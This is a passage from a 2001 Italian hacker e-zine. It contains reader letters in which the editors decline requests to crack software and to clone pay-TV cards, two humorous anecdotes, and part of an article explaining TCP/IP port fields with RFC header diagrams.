| chars, come da terminale (max 79 dai...)                                      |\
| altrimenti come la leggo con less?                                            |\
| 2)essendo il movimento underground solitamente stakkato                       |\
| dalla burocrazia in generale, mi kiedevo il perke' della frase                |\
| ke mettete di default nell'intro dell'ezine ke cita un articolo della         |\
| costituzione...                                                               |\
| io l'avrei evitato...poi, questa e' solo una mia opinione, e                  |\
| la ezine, e' "la vostra".....                                                 |\
| <MODE POLEMICO OFF>                                                           |\
|                                                                               |\
| [R]                                                                           |\
| 1) Gia' da questo numero le cose dovrebbero essere migliorate.                |\
| 2) Non e' un articolo a caso della Costituzione, ma e' l'articolo che         |\
| riguarda la liberta' di parola. E' stato inserito dopo l'approvazione         |\
| della legge sull'editoria, legge (a nostro parere) antidemocratica e          |\
| in palese contrasto con lo spirito costituzionale.                            |\
|                                                                               |\
+---->                                                                          |\
|                                                                               |\
| Date Sat, 13 Oct 2001 08:26:38 -0000                                          |\
| To mail@ondaquadra.cjb.net                                                    |\
| From "edoardo ..." <edcorporation@...>                                        |\
| Subject Info                                                                  |\
|                                                                               |\
| [D]                                                                           |\
| Ciao ONDAQUADRA !                                                             |\
| "Grandissimi !" \'e8 dire poco...                                                |\
| Sono un neofita della programmazione. Dopo aver creato piccole e semplici     |\
| applicazioni, sto cercando di approfondire la mia conoscenza andando alla     |\
| scoperta dei segreti dei codici, cercando di trarre le maggiori informazioni  |\
|                                                                               |\
| da progetti pubblicati in codice sorgente o, cosa molto pi\'f9 difficoltosa,     |\
| disassemblando applicazioni gi\'e0 compilate. ( grazie per l'attenzione          |\
| dedicata al Visual Basic ). Non ho la cerchia di amici adatta ad              |\
| approfondire certi discorsi e di conseguenza molti problemi rimangono         |\
| irrisolti. Cerco in ONDAQUADRA un amico che mi sveli tutti i segreti dei      |\
| come e perch\'e8. Le domande che vi vorrei porre sono quantitativamente          |\
| infinite, e per questo, se non vi scoccia, vi disturber\'f2 ancora, ma il        |\
| progetto che mi assilla ultimamente \'e8 : Creare un'applicazione che estragga   |\
| le tracce da CD e dia la possibilit\'e0 del salvataggio in formato .wav e .mp3   |\
| e la conversione dei due. Sottolineo il fatto che non so nemmeno da dove      |\
| iniziare, ma la mia attenzione va soprattutto sui CODEC che permettono la     |\
| conversione dei formati. .wav -.mp3, .bmp-.jpg, etc... forme compresse e non  |\
|                                                                               |\
| di un file musicale, d'immagine, etc... Qual'\'e8 il principio, cosa si va a     |\
| comprimere ? Come ? Ci\'f2 riguarda anche il .zip ? Se i codici di               |\
| "trasduzione" sono gi\'e0 belli e pronti, dove \'e8 possibile reperirli ? Potete    |\
| fornirmeli voi, possibilmente con relativa spiegazione ? Lo so che sto        |\
| chiedendo tanto e troppo, ma domandare non mi costa niente, l'alternativa     |\
| sarebbe rimanere nell'ignoranza. Spero in un vostro aiuto.                    |\
| Vi ringrazio per l'attenzione e per tutto ci\'f2 che state facendo. Alla         |\
| prossima...                                                                   |\
|                                                                               |\
| [R]                                                                           |\
| In effetti la richiesta e' un po' impegnativa ! Posso indicarti un sito       |\
| dove reperire un sacco di codice sorgente: www.planetsourcecode.com.          |\
| Un altro sito interessante e' www.programmazione.it.                          |\
| Gli altri argomenti ai quali hai accennato potrebbero essere trattati in      |\
| futuro                                                                        |\
| su OQ: basta che qualche volontario li scriva: cosi' funziona OQ...           |\
|                                                                               |\
+---->                                                                          |\
|                                                                               |\
| Date Sat, 06 Oct 2001 11:44:25 +0200                                          |\
| To <mail@ondaquadra.cjb.net>                                                  |\
| From "Boss74" <gigillo@...>                                                   |\
| Subject Come Cav si fa per......                                              |\
|                                                                               |\
| [D]                                                                           |\
| Avrei la necessit\'e0 di craccare un traduttore che si installa sotto            |\
| word e che \'e8 molto bello.                                                     |\
| ho provato a smanettarci un po con disassembler ed hex editor ma non          |\
| sono riuscito nell'opera. Il software si trova a                              |\
| http://www2.systems.it/download/traduttore/tvntradu.zip                       |\
| Potreste aiutarmi?                                                            |\
| Vi ringrazio...                                                               |\
| Siete fortissimi...                                                           |\
|                                                                               |\
| [R]                                                                           |\
| No, non possiamo aiutarti.                                                    |\
|                                                                               |\
+---->                                                                          |\
|                                                                               |\
| Date Wed, 26 Sep 2001 22:26:14 +0200                                          |\
| To <mail@ondaquadra.cjb.net>                                                  |\
| From "Antonio ..." <pplntn@...>                                               |\
| Subject tele+                                                                 |\
|                                                                               |\
| [D]                                                                           |\
| vorrei sapere dove posso trovare una guida completa per la clonazione di =    |\
| schede di tele+ o stream.                                                     |\
| SPero possiate essermi di aiuto....                                           |\
| Grazie.                                                                       |\
|                                                                               |\
| [R]                                                                           |\
| No, non possiamo esserti d'aiuto.                                             |\
|                                                                               |\
+---->                                                                          |\
|                                                                               |\
| Date 24 Sep 2001 23:32:57 -0000                                               |\
| To mail@ondaquadra.cjb.net                                                    |\
| From marmen@...                                                               |\
| Subject Salve ragazzi                                                         |\
|                                                                               |\
| [D]                                                                           |\
| Salve ragazzi, premetto che sono un vostro lettore, mi piacete molto          |\
| e credo che facciate parte di quei poki che in italia ha ben chiaro           |\
| in mente il significato di hacker e quindi di libert\'e0.                        |\
| Vi vorrei proporre un progetto:                                               |\
| creare un sito semplice, molto semplice, dove si spieghi una volta            |\
| per tutte il vero significato di hacker, per differenziarci definitivamente   |\
| dai cracker o dai lamer...                                                    |\
| per dare la giusta importanza e risonanza alle nostre idee SENZA INCITARE     |\
| NESSUNO ma farci apprezzare per quello che siamo: semplici curiosi            |\
| cybernauti :)                                                                 |\
| dobbiamo unirci perch\'e8 siamo rimasti veramente in pochi...                    |\
| vi prego di rispondermi, anke se la risposta dovesse essere negativa...       |\
| P.S. il nome del sito... hackers.it ovviamente :)                             |\
| P.P.S. HACK THE PLANET                                                        |\
|                                                                               |\
| [R]                                                                           |\
| Sinceramente non avvertiamo la necessita' di aprire un sito di nome           |\
| "hackers.it" che spieghi il vero significato dell'hacking...                  |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [L0GiN]                                         #04 - 19/11/2001 |\
| ME L'HA DETT0 MiO CUGGiN0                                [tdi110cv] 0x04/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
|  La seguente storiella con l'hacking o simili non ha nulla a che vedere , ma  |\
|                                                                               |\
|  l'ho inserita proprio perch\'e8 come da ogni storiella si puo' trarne un        |\
|                                                                               |\
|  insegnamento ... la presente l'ho trovata su una schifosissima mailing list  |\
|                                                                               |\
|  e ve la passo RIPPATA (si stavolta ho rippato veramente) paro paro.          |\
|                                                                               |\
|  Traetene le dovute conclusioni ...                                           |\
|                                                                               |\
|                                     * * *                                     |\
|                                                                               |\
|  Un professore di filosofia era in piedi davanti alla sua classe, prima       |\
|                                                                               |\
|  della lezione,ed aveva davanti a s\'e9 alcuni oggetti..                         |\
|                                                                               |\
|  Quando la lezione cominci\'f2, senza proferire parola il professore prese un    |\
|                                                                               |\
|  grosso vaso per la maionese, vuoto, e lo riemp\'ec con delle rocce di 5-6       |\
|                                                                               |\
|  cm di diametro.                                                              |\
|                                                                               |\
|  Quindi egli chiese agli studenti se il vaso fosse pieno, ed essi annuirono.  |\
|                                                                               |\
|  Allora il professore prese una scatola di sassolini, e li vers\'f2 nel vaso di  |\
|                                                                               |\
|  maionese, scuotendolo appena.                                                |\
|                                                                               |\
|  I sassolini, ovviamente, rotolarono negli spazi vuoti fra le rocce.          |\
|                                                                               |\
|  Il professore quindi chiese ancora se il vaso ora fosse pieno, ed essi       |\
|                                                                               |\
|  furono d'accordo.                                                            |\
|                                                                               |\
|  Gli studenti cominciarono a ridere, quando il professore prese una scatola   |\
|                                                                               |\
|  di sabbia e la vers\'f2 nel vaso.                                               |\
|                                                                               |\
|  La sabbia riemp\'ec ogni spazio vuoto.                                          |\
|                                                                               |\
|  "Ora" , disse il professore, "voglio che voi riconosciate che questa \'e8 la    |\
|                                                                               |\
|  vostra vita.                                                                 |\
|                                                                               |\
|  Le rocce sono le cose importanti - la famiglia, il partner, la salute, i     |\
|                                                                               |\
|  figli - anche se ogni altra cosa dovesse mancare, e solo queste rimanere,    |\
|                                                                               |\
|  la vostra vita sarebbe comunque piena.                                       |\
|                                                                               |\
|  I sassolini sono le altre cose che contano, come il lavoro, la casa,         |\
|                                                                               |\
|  l'auto.                                                                      |\
|                                                                               |\
|  La sabbia rappresenta qualsiasi altra cosa, le piccole cose.                 |\
|                                                                               |\
|  Se voi riempite il vaso prima con la sabbia, non ci sar\'e0 pi\'f9 spazio per      |\
|                                                                               |\
|  rocce e sassolini.                                                           |\
|                                                                               |\
|  Lo stesso \'e8 per la vostra vita; se voi spendete tutto il vostro tempo ed     |\
|                                                                               |\
|  energie per le piccole cose,non avrete mai spazio per le cose veramente      |\
|                                                                               |\
|  importanti.                                                                  |\
|                                                                               |\
|  Stabilite le vostre priorit\'e0, il resto \'e8 solo sabbia".                       |\
|                                                                               |\
|  Dopo queste parole........                                                   |\
|                                                                               |\
|  Uno studente si alz\'f2 e prese il vaso contenente rocce, sassolini e sabbia,   |\
|                                                                               |\
|  che tutti consideravano pieno, e cominci\'f2 a versagli dentro un bicchiere     |\
|                                                                               |\
|  di birra.                                                                    |\
|                                                                               |\
|  Ovviamente la birra si infil\'f2 nei rimanenti spazi vuoti, e riemp\'ec veramente  |\
|                                                                               |\
|  il vaso fino all'orlo.                                                       |\
|                                                                               |\
|  La morale di questa storia \'e8:                                                |\
|                                                                               |\
|  non importa quanto piena \'e8 la vostra vita, c'\'e8 sempre spazio per una BIRRA!  |\
|                                                                               |\
|                                  * * *                                        |\
|                                                                               |\
|  Direi che la cosa non ha bisgono di commenti ...                             |\
|                                                                               |\
|  Sincerely TDI110CV ...                                                       |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
|                    E Voi ... affidatevi a Telecoz Italia ...                  |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Nel presente articolo non troverete nulla di sovversivo e nessuna tecnica.    |\
| L'unica cosa che troverete sara' la narrazione di un colloquio telefonico     |\
| avvenuto con un paio di omini telecoz.                                        |\
| Dovete pensare infatti che in Italia quasi tutto cio che rientra nel campo    |\
| delle telecomunicazioni e' gestito dalla nostra beneamata telecoz Italia.     |\
| Un pomeriggio , mentre mi trovavo in ufficio , ho reclamato alla caxxo in     |\
| oggetto il fatto che una linea dedicata , che connette i nostri terminali     |\
| ad un host remoto , non funzionava affatto bene.                              |\
| Spesso ci capitavano interruzioni inspiegabili e rallentamenti a dire poco    |\
| Tartarughiani.                                                                |\
| La telecoz mi risponde che avrebbe controllato e che eventualmente avrebbe    |\
| fatto uscire un Tecnico a far controllare lo SNA e il modem in questione.     |\
| Sentite tali parole mi son caduti circa 3.000 capelli.                        |\
| Ho pensato subito che non poteva altro che finire peggio di come la           |\
| situazione                                                                    |\
| era attualmente.                                                              |\
| Infatti ... Vabb\'e8 ora vi scrivo per filo e per segno la telefonata            |\
| successiva                                                                    |\
| perch\'e8 sto ancora ridendo. Ovviamente non potro' fare nomi , ma cerchero'     |\
| di spiegarmi al meglio. (dialetto Rulez)                                      |\
|                                                                               |\
| telecoz - A bongiorno , chi se la telecoz Venessia , con ci parlo ?           |\
| Tdi - Ehm ... bongiorno io sono il Sign. TDI , mi dica pure ...               |\
| telecoz - Alura Sign. TDI mi gho manda' un Tennico in Via XXX alla ditta      |\
|           YYY per dei problemi de linea.                                      |\
| Tdi - Si perfetto la via e' quella e la ditta pure , quindi ?                 |\
| telecoz - Ecco ehmm ... pero' ghe se un problema ostia                        |\
| Tdi - Scusi che problema ?                                                    |\
| telecoz - E insomma el Tennico le proprio nella via XXX ma in via XXX non     |\
| ghe                                                                           |\
|           se niente.                                                          |\
| Tdi - Cosa ? Guardi in quella via ci son circa 10.000 persone che lavorano.   |\
| telecoz - E  no ... a mi el Tennico me gha ditto che non ghe se n'ostrega.    |\
| Tdi - Ehm ... guardi ci deve essere un errore perch\'e8 in quella Via ci         |\
| saranno                                                                       |\
|       almeno 10 aziende enormi.                                               |\
|                                                                               |\
| (Ora mi e' venuto il dubbio che si trovasse in un altra citta' , ma la        |\
|  possibilita' era molto remota dal momento che in Italia non ci devono        |\
| essere                                                                        |\
|  piu' attivita' con lo stesso nome no ?!)                                     |\
|                                                                               |\
| Tdi - Scusi ma e' sicuro che la via sia XXX e la ditta YYY di ZZZ ?           |\
| telecoz - E insoma acchi' non semo mia imbecili ah ?!                         |\
|                                                                               |\
| (La risposta sorge spontanea)                                                 |\
|                                                                               |\
| telecoz - Alura Sior. Tdi el speta n'attimo che sento el Tennico              |\
|                                                                               |\
| (Dopo 2 minuti abbondanti di attesa l'omino telecoz torna alla riscossa)      |\
|                                                                               |\
| telecoz - Alura TDI el problema le' n'altro , el tecnico el se trova in via   |\
|           XXX (notare che il pirla cita solo la via) , ma nol trova mia       |\
|           la linea.                                                           |\
|                                                                               |\
| (Citandomi solo la via cosa vado a pensare ? Vado a pensare che questo si     |\
|  trova nella via interessata in mezzo alla strada , e che sta cercando il     |\
|  suo amato gabbiottino delle derivazioni no ?! e invece ...)                  |\
|                                                                               |\
| Tdi - Come non trova la linea ? Che tipo di linea cerca ?                     |\
| telecoz - E insoma se la linea quella fata con i fili che fan pasare          |\
|           le informasioni no ?!                                               |\
| Tdi - Insomma onestamente ho una vaga idea di cosa sia una linea , ma non     |\
|       capisco cosa stia cercando in mezzo alla strada ...                     |\
| telecoz - ehm ... no no Sior TDI , non se semo mia capiti. Anzi me sa tanto   |\
|           che non ho capio n'ostia gnanca mi. El staga in linea che sento     |\
|           ancora el Tennico.                                                  |\
|                                                                               |\
| (ora uno che mi da una definizione simile di una linea telematica lo          |\
|  prenderei e lo manderei a zappare la terra , e poi che caxxo mi rompi le     |\
|  palle se neanche tu hai idea di dove sia e cosa stia cercando il 'TENNICO')  |\
|                                                                               |\
| telecoz - Sior TDI le pasarea n'atimo el Tennico parch\'e8 non capiso sa sta     |\
|           sucedendo.                                                          |\
| Tdi - E vabb\'e8 passame sto caxxo de Tennico.                                   |\
|                                                                               |\
| (chissa che almeno il secondo tennico sia un pochino piu' sveglio no ?!       |\
|  Insomma la speranza e' l'ultima a morire no ? E ancora una volta incece      |\
| ...)                                                                          |\
|                                                                               |\
| telecoz2 - A bongiorno Sior. TDI                                              |\
| Tdi(incazz) - Ehm buongiorno mi dica qual'\'e8 il problema ?                     |\
| telecoz2 - Alura el problema se che chi in via XXX non ghe se la linea.       |\
| Tdi(incazz) - Scusi come non ce linea ?                                       |\
| telecoz2 - Ma si dai la linea , insomma el macchinino dove ghe se mete la     |\
|            spina del telefono no ?!                                           |\
| Tdi - Insomma il modem ?!                                                     |\
| telecoz - Eh brao proprio il modem , salo quel che se usa anca par INTERNET   |\
| ?                                                                             |\
| Tdi - Si , piu' o meno , diciamo che ho una vaga idea di cosa sia un modem.   |\
|       Ma scusi se lei si trova in via XXX il modem dove spera di trovarlo ?   |\
| telecoz2 - Ma no , mi son in via XXX ma sono rento la dita YYY di via XXX.    |\
| Tdi - A ma allora si trova gia in ditta , e ditelo no ?! Ma scusi dove si     |\
|       trova ora ?                                                             |\
| telecoz2 - Be Sior TDI , mi ora son in una stasetta dove arivano tuti i fili  |\
|            salo quel posto dove ghe tanti computer uno sopra l'altro e        |\
|            colegadi tutti con i fili... ehm insoma ...                        |\
|                                                                               |\
| (Ossignur ... stai a vedere che questo si trova in sala macchine)             |\
|                                                                               |\
| Tdi - Caxxo ma allora lei si trova in sala macchine no ?!                     |\
| telecoz2 - Eco si ! La se ciama proprio sala macchine.                        |\
|                                                                               |\
| (Ora io mi chiedo come cazzo sia entrato in sala macchine dal momento che     |\
|  la chiave elettronica della suddetta l'ha solo il responsabile dei           |\
|  sistemisti.)                                                                 |\
|                                                                               |\
| Tdi - Scusi ma ora in sala macchine che cerca ?                               |\
| telecoz2 - Be mi cerco proprio el modem , ma nol trovo mia OSTIA @!*\'a7#        |\
| Tdi - Guardi il modem si trova in quell'armadio (TRASPARENTE) insieme a       |\
| tutti                                                                         |\
|       gli altri. (saranno una cinquantina)                                    |\
|       Pero' e' meglio se parla con la persona XXXXXXXXX                       |\
| telecoz2 - An si ? Alora sicome acchi' ghe se un so colega sento lu se me sa  |\
|            dir dove poter rintraciare sto XXXXXXXXX                           |\
| Tdi - Senta pure cosi' poi io torno alle mie faccende no ?!                   |\
|                                                                               |\
| (sento le 2 voci che si parlano e dicono ...)                                 |\
|                                                                               |\
| telecoz2 - Scusi i me gha ditto de parlar con un certo XXXXXXXXX salo dove    |\
|            poso trovarlo ?                                                    |\
| XXXXXXXX - GUARDI CHE IL SIGNORE CHE CERCA ... SONO IO ...                    |\
|                                                                               |\
| A questo punto ho sbattuto giu il telefono perch\'e8 la cosa oltre a sembrare    |\
| una presa per il culo mi aveva portato via anche 20 minuti.                   |\
| Ma adesso come adesso sto ridendo ancora.                                     |\
| Ora secondo Voi se avessi chiesto di montare un Router ... che cazzo          |\
| combinavano ?                                                                 |\
| Approposito ... la linea e' come prima se non peggio ...                      |\
| Termino con la tipica espressione del cazzo di 102.5 ... Viva l'Italia ...    |\
|                                                                               |\
| Ciao a tutti il Vostro TDI110CV ___________                                   |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [HACKiNG]                                       #04 - 19/11/2001 |\
| P0RTE, MA QUANTE S0N0?                                  [TheMRcode] 0x05/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
|Eccomi qua, mentre mi sorbo lentamente un vasetto di yoghurt ai frutti di      |\
|boscaglia, per fare un appunto su "METTiAM0 NETCAT NELL'0MBRA", un articolo    |\
|apparso su #oq02, scritto da Tdi110cv.                                         |\
|Ora, precisando che non \'e8 mia intenzione ne offendere, ne sputtanare TDI       |\
|davanti a tutti, ma solo fare un "Errata Corrige" dell' articolo.Gi\'e0, perch\'e8 le|\
|informazioni date nel suddetto sono errate, Perch\'e8 ? Vediamolo insieme ! Come  |\
|ben sapete, Internet (e le reti in generale, e anche la vita) si basa su dei   |\
|protocolli. Il pi\'f9 conosciuto \'e8 sicuramente l'IP (non il benzinaio, ma Internet|\
|Protocol :). Esso ha una struttura molto semplice, e fornisce solamente un     |\
|servizio, diciamo "di supporto" per altri protocolli (TCP,UDP,ICMP,..).Vediamo |\
|insieme la struttura del IP (tratta dal RFC 791):                              |\
|                                                                               |\
|    0                   1                   2                   3              |\
|    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1            |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |Version|  IHL  |Type of Service|          Total Length         |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |         Identification        |Flags|      Fragment Offset    |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |  Time to Live |    Protocol   |         Header Checksum       |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |                       Source Address                          |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |                    Destination Address                        |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |                    Options                    |    Padding    |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|                                                                               |\
|Come vedete \'e8 suddiviso in campi di bit (non byte, attenzione) di lunghezza    |\
|variabile. Come potete notare, non \'e8 presente il campo che specifica la porta a|\
|cui mandare il pacchetto. Molti potranno dire: "e Type of Services allora cos'\'e8|\
|?". Rispondo prendendo direttamente la descrizione dall'RFC:                   |\
|                                                                               |\
|[----------- SNIP -----------]                                                 |\
|                                                                               |\
|Type of Service:  8 bits                                                       |\
|                                                                               |\
|  The Type of Service provides an indication of the abstract                   |\
|  parameters of the quality of service desired.  These parameters are          |\
|  to be used to guide the selection of the actual service parameters           |\
|  when transmitting a datagram through a particular network.  Several          |\
|  networks offer service precedence, which somehow treats high                 |\
|  precedence traffic as more important than other traffic (generally           |\
|  by accepting only traffic above a certain precedence at time of high         |\
|  load).  The major choice is a three way tradeoff between low-delay,          |\
|  high-reliability, and high-throughput.                                       |\
|                                                                               |\
|    Bits 0-2:  Precedence.                                                     |\
|    Bit    3:  0 = Normal Delay,      1 = Low Delay.                           |\
|    Bits   4:  0 = Normal Throughput, 1 = High Throughput.                     |\
|    Bits   5:  0 = Normal Relibility, 1 = High Relibility.                     |\
|    Bit  6-7:  Reserved for Future Use.                                        |\
|                                                                               |\
|       0     1     2     3     4     5     6     7                             |\
|    +-----+-----+-----+-----+-----+-----+-----+-----+                          |\
|    |                 |     |     |     |     |     |                          |\
|    |   PRECEDENCE    |  D  |  T  |  R  |  0  |  0  |                          |\
|    |                 |     |     |     |     |     |                          |\
|    +-----+-----+-----+-----+-----+-----+-----+-----+                          |\
|                                                                               |\
|      Precedence                                                               |\
|                                                                               |\
|        111 - Network Control                                                  |\
|        110 - Internetwork Control                                             |\
|        101 - CRITIC/ECP                                                       |\
|        100 - Flash Override                                                   |\
|        011 - Flash                                                            |\
|        010 - Immediate                                                        |\
|        001 - Priority                                                         |\
|        000 - Routine                                                          |\
|                                                                               |\
|  The use of the Delay, Throughput, and Reliability indications may            |\
|  increase the cost (in some sense) of the service.  In many networks          |\
|  better performance for one of these parameters is coupled with worse\tab         |\
|  performance on another.  Except for very unusual cases at most two           |\
|  of these three indications should be set.                                    |\
|                                                                               |\
|  The type of service is used to specify the treatment of the datagram         |\
|  during its transmission through the internet system.  Example                |\
|  mappings of the internet type of service to the actual service               |\
|  provided on networks such as AUTODIN II, ARPANET, SATNET, and PRNET          |\
|  is given in "Service Mappings" [8].                                          |\
|                                                                               |\
|  The Network Control precedence designation is intended to be used            |\
|  within a network only.  The actual use and control of that                   |\
|  designation is up to each network. The Internetwork Control                  |\
|  designation is intended for use by gateway control originators only.         |\
|  If the actual use of these precedence designations is of concern to          |\
|  a particular network, it is the responsibility of that network to            |\
|  control the access to, and use of, those precedence designations.            |\
|                                                                               |\
|[----------- SNIP -----------]                                                 |\
|                                                                               |\
|Non capite l'inglese ? Beh, io nemmeno tanto :)                                |\
|Comunque, il campo ToS si occupa diciamo di dare una certa priorit\'e0 del        |\
|pacchetto sugli altri. Un vantaggio potrebbe essere quello di mandare un       |\
|pacchetto SYN con priorit\'e0 pi\'f9 alta rispetto agli altri, cosi da velocizzare il|\
|collegamento, ad esempio, con un server Web (cosa che viene fatta). In parole  |\
|povere, non \'e8 quel di cui dobbiamo parlare :)                                  |\
|                                                                               |\
|Per trovare quello che vogliamo (il campo dove viene immagazzinata la porta a  |\
|cui connettersi), dobbiamo cercare in un'altro header. Il TCP ad esempio !     |\
|L'acronimo TCP sta per Tansmission Control Protocol. Infatti viene utilizzato  |\
|come base per HTTP, FTP; POP3, SMTP, e molti altri. La particolarita del TCP \'e8 |\
|che offre un controllo dei pacchetti, cosa che l'IP non fa. Esempio: devo      |\
|mandare 30 byte di dati a un server. Il socket, per evitare di rallentare il pc|\
|(o la rete), cosa fa ? Esegue il frammenting, cio\'e8 spezzetta i dati da mandare |\
|in pi\'f9 pacchetti. Cosi ottieniamo 3 (per non dire 2 o 10) pacchetti,dove ognuno|\
|contiene 10 byte di dati. Poi uno ad uno vengono spediti al destinatario. Ma si|\
|sa, la rete non \'e8 molto affidabile, e a volte i router hanno picchi di lavoro, |\
|che possono causare inconvenienti, del tipo i pacchetti non seguono tutti la   |\
|stessa "strada", ma passano per router diversi per arrivare a destinazione. Cio|\
|puo comportare il fatto che i pacchetti non arrivino in ordine, ma mischiati   |\
|(3-1-2 ad esempio). Qui interviene il TCP, che si occupa di mettere in ordine i|\
|pacchetti, e farli arrivare belli e sani come al principio. Ma se un paccheto  |\
|dovesse perdersi (capita spesso) ?? Anche qui il TCP interviene, segnalando al |\
|mittente che manca uno o pi\'f9 pacchetti, per poi rispedirli. La segnalazione,che|\
|\'e8 di tipo passivo, avviene mandando un pacchetto di ricevuta per ogni pacchetto|\
|arrivato. Come la posta raccomandata, se non vi arriva la conferma,rimandate la|\
|lettera. Beh, ho parlato fin troppo teoricamente. Vediamoci l'header (tratto la|\
|RFC 793):                                                                      |\
|                                                                               |\
|    0                   1                   2                   3              |\
|    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1            |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |          Source Port          |       Destination Port        |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |                        Sequence Number                        |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |                    Acknowledgment Number                      |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |  Data |           |U|A|P|R|S|F|                               |           |\
|   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |           |\
|   |       |           |G|K|H|T|N|N|                               |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |           Checksum            |         Urgent Pointer        |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |                    Options                    |    Padding    |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|   |                             data                              |           |\
|   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+           |\
|                                                                               |\
|PS: Pure qui tutti bit, non byte                                               |\
|                                                                               |\
|Come vedete, \'e8 molto pi\'f9 complicato di quello dell'IP (no, non il benzinaio,   |\
|uffa !! ;)                                                                     |\
|Ma cosa vedo subito in cima ? Source and Destination Port !! Eccoli qua !!!    |\
|Finalmente !                                                                   |\
|                                                                               |\
|[----------- DISGRESSIONE -----------]                                         |\
|                                                                               |\
|Forse non vi \'e8 ben chiaro cosa sia il source port ? Io avevo dei dubbi su cio  |\
|fino a 5 mesi fa, percui, ve lo spiego, cosi taglio la testa la toro anche per |\
|voi :) (e poi non ha mai fatto male a nessuno un po di spiegazioni)            |\
|                                                                               |\
|Il TCP funziona un po come una comunicazione fra le solite 2 condominiali      |\
|pettegole, che si scambiano "vitali" informazioni su ogni cosa che le circonda.|\
|                                                                               |\
|(A)- "Ma lo sai che quella del 4' piano ha comprato una scatola da 25 di       |\
|preserativi Duron, quelli ritardati ??"                                        |\
|(B)- "Ohh ,allora si vede che fa le corna con il portiere, quel gran pezzo di  |\
|gnocco !"                                                                      |\
|(A)- "Eggia !! me lo vorrei fare io quell li, e senza Duron !!!"               |\
|(B)- "Ehhh, ma quello li ha tutte le gnocche davanti, vuoi che pensi a noi 2 di|\
|60 anni ?"                                                                     |\
|                                                                               |\
|Vabbe, questi sono esempi, poi gli argomenti variano :P                        |\
|                                                                               |\
|vicina(A) -> finestra(A) -> finestra(B) -> vicina(B)                           |\
|vicina(B) -> finestra(B) -> finestra(A) -> vicina(A)                           |\
|                                                                               |\
|vicina(A) == client                                                            |\
|finestra(A) == source port                                                     |\
|finestra(B) == destination port                                                |\
|vicina(B) == server                                                            |\
|                                                                               |\
|E viceversa.                                                                   |\
|                                                                               |\
|Tornando al mondo dei PC, facciamo un esempio (tecnico questa volta)\tab         |\
|schematizzato:                                                                 |\
|                                                                               |\
|mIRC --> 127.0.0.1:1432 --> 123.456.789:6667 --> Bahamuh                       |\
|Bahamut --> 123.456.789:6667 --> 127.0.0.1:1432 --> mIRC                       |\
|                                                                               |\
|PS: gli IP sono inventati (eddai, a memoria mica me li ricordo, su :)          |\
|PS2: Bahamut \'e8 il nuovo ircD che verr\'e0 montato sulle reti di AzzurraNet        |\
|(irc.azzurranet.org)                                                           |\
|PS3: Se usare kVirc, ircII, xCHAT, bitchX, dIRC, pIRC, ecc ecc, la cosa vale lo|\
|stesso                                                                         |\
|                                                                               |\
|Insomma, dovrebbe esservi chiaro. Ogni volta che voi vi volete connettere a una|\
|porta remota, dovete per forza aprire una porta locale, senno da dove escono i |\
|dati ? Spero abbiate capito :)                                                 |\
|                                                                               |\
|[----------- DIGRESSIONE -----------]                                          |\
|                                                                               |\
|Pausa cena............rieccomi !                                               |\
|                                                                               |\
|Ritornando al tema principale, avrete notato che i campi Source e Destination  |\
|Port (d'ora in avanti, SP e DP) sono formati da una serie di 16 bit l'uno. Non |\
|sapete cosa sono i bit ?? No, dai ! Non fatemi fare un'altra disgressione :)   |\
|In parole povere, i bit sono la minima unit\'e0 (anzi, l'unica, visto che i byte e|\
|multipli sono solo insiemi di bit) di dati che un computer puo gestire. Per    |\
|approfondimenti, leggetevi i tutorial sull'assembler di Emanuele Del Bono su   |\
|www.programmazione.it.Ritornando a noi.. percui ogni porta pu\'f2 essere codata in|\
